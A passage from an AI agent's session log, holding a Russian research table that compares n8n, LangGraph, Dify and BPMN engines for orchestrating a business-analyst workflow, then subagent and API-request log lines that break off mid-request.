\u0421\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0441\u044f | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c** \u0434\u043e\u0441\u0442\u0443\u043f \u043a endpoint Mango AI \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043e \u0432\u044b\u0431\u043e\u0440\u0430 \u0441\u0440\u0435\u0434\u044b 4 |\\n145\\t\\n146\\t### \u0417. \u0421\u043b\u043e\u0439 3: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n147\\t\\n148\\t| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n149\\t|---|----------|----------------|--------|-------------|--------------|\\n150\\t| \u0413-44 | n8n \u2014 \u0431\u043e\u043b\u0435\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 | \u0417\u0430: \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438 ([\u0413-46](#\u0433-46)), OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 ([\u0413-45](#\u0433-45)), \u0444\u043e\u0440\u043c\u044b, \u0447\u0430\u0442, Jira, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Server ([Jira](https://docs.n8n.io/integrations/builtin/credentials/jira.md)), Git ([docs](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.git.md)). \u041f\u0440\u043e\u0442\u0438\u0432: \u0433\u0440\u0430\u0444 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 n8n ([\u0413-47](#\u0433-47)); Python \u0432 \u0443\u0437\u043b\u0435 Code \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 ([Code](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.code.md)); \u043f\u0430\u0440\u0441\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0433\u043e \u0432\u044b\u0432\u043e\u0434\u0430 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 `$ref` ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/sub-nodes/n8n-nodes-langchain.outputparserstructured.md)), \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u043f\u0430\u043a\u0435\u0442\u0430 \u043d\u0430 \u043d\u0451\u043c \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u044b; \u0443\u0437\u0435\u043b Confluence \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f Cloud ([docs](https://docs.n8n.io/integrations/builtin/app-nodes/n8n-nodes-base.confluence.md)); \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 ([\u0413-48](#\u0433-48)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** n8n \u2014 \u043a\u0430\u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439 \u0438 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u043f\u043e\u0432\u0435\u0440\u0445 API runner (\u0412-7), \u043d\u0435 \u043a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 |\\n151\\t| \u0413-45 | n8n \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u044c\u044e \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 | \u0423\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 OpenAI \u0432 n8n \u0438\u043c\u0435\u044e\u0442 \u043f\u043e\u043b\u0435 `Base URL` ([\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434](https://github.com/n8n-io/n8n/blob/master/packages/nodes-base/credentials/OpenAiApi.credentials.ts)); \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044f \u043d\u0435\u0442. \u0420\u0430\u0431\u043e\u0442\u0430 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u0435\u043b\u044f \u00abUse Responses API\u00bb \u0441 `/chat/completions` \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** \u0414\u0435\u0440\u0436\u0430\u0442\u044c Responses API \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c; \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430 \u0441\u0442\u0435\u043d\u0434\u0435 |\\n152\\t| \u0413-46 | n8n \u0443\u043c\u0435\u0435\u0442 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u0430\u0443\u0437\u0443 \u0434\u043d\u044f\u043c\u0438 | \u0423\u0437\u0435\u043b Wait \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043f\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438, webhook \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0435; \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0434\u043e\u043b\u044c\u0448\u0435 65 \u0441 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0431\u0430\u0437\u0435 ([Wait](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.wait.md)); \u0447\u0430\u0442 \u0443\u043c\u0435\u0435\u0442 \u00abSend and Wait for Response\u00bb \u0441 \u043a\u043d\u043e\u043f\u043a\u0430\u043c\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f ([Chat](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-langchain.chat.md)) | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c** \u043a\u0430\u043a \u043a\u0430\u043d\u0430\u043b \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0412-7 |\\n153\\t| \u0413-47 | \u0412 n8n \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0418\u0418-\u0443\u0437\u043b\u043e\u0432 | \u0423\u0437\u0435\u043b AI Agent: \u00abthe agent decides which tools to call\u00bb ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/root-nodes/n8n-nodes-langchain.agent.md)). \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u2014 Basic LLM Chain \u0441\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u0432\u044b\u0432\u043e\u0434\u043e\u043c \u043f\u043b\u044e\u0441 \u0443\u0437\u043b\u044b \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/root-nodes/n8n-nodes-langchain.chainllm.md)), \u043d\u043e \u0442\u043e\u0433\u0434\u0430 \u0433\u0440\u0430\u0444 Source \u0440\u0438\u0441\u0443\u0435\u0442\u0441\u044f \u0432\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0437 \u0432 JSON n8n ([\u044d\u043a\u0441\u043f\u043e\u0440\u0442](https://docs.n8n.io/build/manage-workflows/export-and-import.md)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** \u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c AI Agent \u0434\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430; \u0433\u0440\u0430\u0444 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 Source |\\n154\\t| \u0413-48 | n8n \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0440\u044f\u0434\u043e\u043c \u0441 Jira \u0438 Confluence \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0440 \u0437\u0430\u0449\u0438\u0442\u044b | CVE-2026-21858, CVSS 10.0, \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 ([Rapid7](https://www.rapid7.com/blog/post/etr-ni8mare-n8scape-flaws-multiple-critical-vulnerabilities-affecting-n8n/)); \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u041a\u0430\u043d\u0430\u0434\u044b ([AL26-001](https://www.cyber.gc.ca/en/alerts-advisories/al26-001-vulnerabilities-affecting-n8n-cve-2026-21858-cve-2026-21877-cve-2025-68613)); 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\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u0441 Git, SSO \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 Community \u043d\u0435\u0442 ([\u0444\u0443\u043d\u043a\u0446\u0438\u0438 Community](https://docs.n8n.io/deploy/host-n8n/community-edition-features.md)), \u0442\u0430\u0440\u0438\u0444 Business \u2014 667 \u20ac \u0432 \u043c\u0435\u0441\u044f\u0446 ([\u0446\u0435\u043d\u044b](https://n8n.io/pricing/)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u0411\u0435\u0437 Git-\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0436\u0438\u0432\u0443\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 Source \u2014 \u044d\u0442\u043e \u0434\u043e\u0432\u043e\u0434 \u0437\u0430 \u0412-7, \u0430 \u043d\u0435 \u0412-6 |\\n156\\t| \u0413-50 | \u041f\u043b\u0430\u043d n8n \u0438\u0437 \u043c\u0430\u044f 2026 \u0431\u044b\u043b \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 \u043f\u043e \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f\u043c | \u042d\u0442\u0430\u043f 4 \u00abn8n-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f\u00bb ([L275-L283](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md#L275-L283)) \u0438 \u0443\u0437\u043b\u044b n8n \u043f\u043e \u044d\u0442\u0430\u043f\u0430\u043c ([L425-L437](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md#L425-L437)); \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` n8n \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 ([L191](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193)); \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u0418\u0434\u0435\u044f, \u0441\u043d\u044f\u0442\u0430\u044f \u0431\u0435\u0437 \u043e\u0446\u0435\u043d\u043a\u0438, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u2014 \u043a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441. \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u043c \u043d\u0443\u0436\u0435\u043d \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 |\\n157\\t| \u0413-51 | LangGraph \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0432 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e | \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u2014 MIT ([LICENSE](https://github.com/langchain-ai/langgraph/blob/main/LICENSE)), \u043f\u0430\u0443\u0437\u0430 `interrupt()` \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 `Command(resume=\u2026)` ([docs](https://docs.langchain.com/oss/python/langgraph/interrupts)), \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0432 Postgres ([persistence](https://docs.langchain.com/oss/python/langgraph/persistence)). LangGraph Server \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u043b\u044e\u0447 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0432\u044b\u0445\u043e\u0434 \u043d\u0430 `beacon.langchain.com` ([docs](https://docs.langchain.com/langsmith/deploy-standalone-server)). \u041f\u0440\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0438 \u0443\u0437\u0435\u043b \u0441 `interrupt()` \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e, \u043f\u043e\u0431\u043e\u0447\u043d\u044b\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u044b | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u0422\u043e\u043b\u044c\u043a\u043e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 (\u0412-4), \u043d\u0435 LangGraph Server |\\n158\\t| \u0413-52 | Low-code \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0441 \u0418\u0418 (Dify, Flowise) \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e | Dify \u2014 \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u0430\u044f Apache \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u043c\u0438 ([LICENSE](https://github.com/langgenius/dify/blob/main/LICENSE)), \u043a\u043e\u0434 \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435 \u0431\u0435\u0437 \u0441\u0435\u0442\u0438 \u0438 \u0444\u0430\u0439\u043b\u043e\u0432 ([docs](https://docs.dify.ai/en/use-dify/nodes/code)) \u2014 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c; Flowise \u2014 Node.js ([LICENSE](https://github.com/FlowiseAI/Flowise/blob/main/LICENSE.md)); \u0432 \u043e\u0431\u043e\u0438\u0445 \u0433\u0440\u0430\u0444 \u0440\u0438\u0441\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c \u043a\u0430\u043a \u044f\u0434\u0440\u043e; \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u2014 \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 |\\n159\\t| \u0413-53 | BPMN-\u0434\u0432\u0438\u0436\u043e\u043a \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0411\u0410 | Camunda 8 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044e \u0441 \u0432\u0435\u0440\u0441\u0438\u0438 8.6 ([Camunda](https://camunda.com/blog/2024/04/licensing-update-camunda-8-self-managed/)); Operaton \u2014 Apache-2.0 ([\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439](https://github.com/operaton/operaton)), \u043d\u043e \u044d\u0442\u043e Java \u0438 BPMN: \u0433\u0440\u0430\u0444 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 BPMN, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u043d\u0438\u043a\u0438 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c; \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c BPMN-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 |\\n160\\t| \u0413-54 | \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 \u00ab\u0432\u043d\u0435\u0448\u043d\u0438\u0439 workflow engine\u00bb \u0438\u043c\u0435\u0435\u0442 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 | [RFC L371-L375](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375): \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb, \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u2014 \u0446\u0435\u043d\u0430; \u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u043d\u0435\u0442 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442.** \u0417\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0440\u0438\u0433\u0433\u0435\u0440: \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0434\u043e\u043b\u044c\u0448\u0435 \u0441\u0435\u0441\u0441\u0438\u0438, \u043e\u0431\u0449\u0438\u0439 \u0436\u0443\u0440\u043d\u0430\u043b \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u0441\u0440\u0435\u0434\u0430 4 |\\n161\\t\\n162\\t## \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0445\u0435\u043c\u0430\\n163\\t\\n164\\t```mermaid\\n165\\tflowchart LR\\n166\\t  S[\\\"Source: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b\\\"] -->|\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f| PK[\\\"\u041f\u0430\u043a\u0435\u0442: \u0433\u0440\u0430\u0444 YAML, \u0441\u0445\u0435\u043c\u044b, \u0442\u0435\u043a\u0441\u0442\u044b\\\"]\\n167\\t  PK --> R[\\\"\u042f\u0434\u0440\u043e runner: \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0443\u0437\u043b\u043e\u0432, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435, \u0436\u0443\u0440\u043d\u0430\u043b\\\"]\\n168\\t  subgraph WS[\\\"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1: \u0440\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e\\\"]\\n169\\t    CLI[\\\"tools/run-task next\\\"]\\n170\\t    AG[\\\"GigaCode CLI \u0438\u043b\u0438 Cline: \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\\\"]\\n171\\t  end\\n172\\t  subgraph SRV[\\\"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2: \u0441\u0440\u0435\u0434\u0430 4\\\"]\\n173\\t    API[\\\"\u0421\u043b\u0443\u0436\u0431\u0430 runner + Postgres\\\"]\\n174\\t    UI[\\\"\u0427\u0430\u0442, \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430; n8n \u2014 \u043f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e\\\"]\\n175\\t  end\\n176\\t  R --> CLI\\n177\\t  R --> API\\n178\\t  AG -->|\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a| CLI\\n179\\t  UI --> API\\n180\\t  API -->|\u0448\u0430\u0433| LLM[\\\"Mango AI: OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API\\\"]\\n181\\t  R --> V[\\\"\u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source\\\"]\\n182\\t  API --> CI[\\\"CI gate \u0434\u043b\u044f Release\\\"]\\n183\\t```\\n184\\t\\n185\\t## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1: \u0440\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0411\u0410\\n186\\t\"\n[2026-09-29T07:46:40.893Z] [INFO]       }\n[2026-09-29T07:46:40.893Z] [INFO]     ]\n[2026-09-29T07:46:40.893Z] [INFO]   },\n[2026-09-29T07:46:40.893Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:40.893Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:40.893Z] [INFO]   \"uuid\": \"eef3277d-b099-4163-a3fb-b12186b618ba\",\n[2026-09-29T07:46:40.893Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:39.798Z\",\n[2026-09-29T07:46:40.893Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:40.893Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:40.893Z] [INFO] }\n[2026-09-29T07:46:40.917Z] [STDOUT] [log_d87b72] sending request {\n[2026-09-29T07:46:40.922Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:40.926Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:40.935Z] [STDOUT]   options: {\n[2026-09-29T07:46:40.942Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:40.954Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:40.959Z] [STDOUT]     body: {\n[2026-09-29T07:46:40.962Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:40.966Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:40.972Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:40.977Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:40.982Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:40.987Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:40.990Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:40.997Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:41.005Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:41.009Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:41.012Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:41.027Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:41.032Z] [STDOUT]     },\n[2026-09-29T07:46:41.035Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:41.038Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:41.043Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:41.047Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: 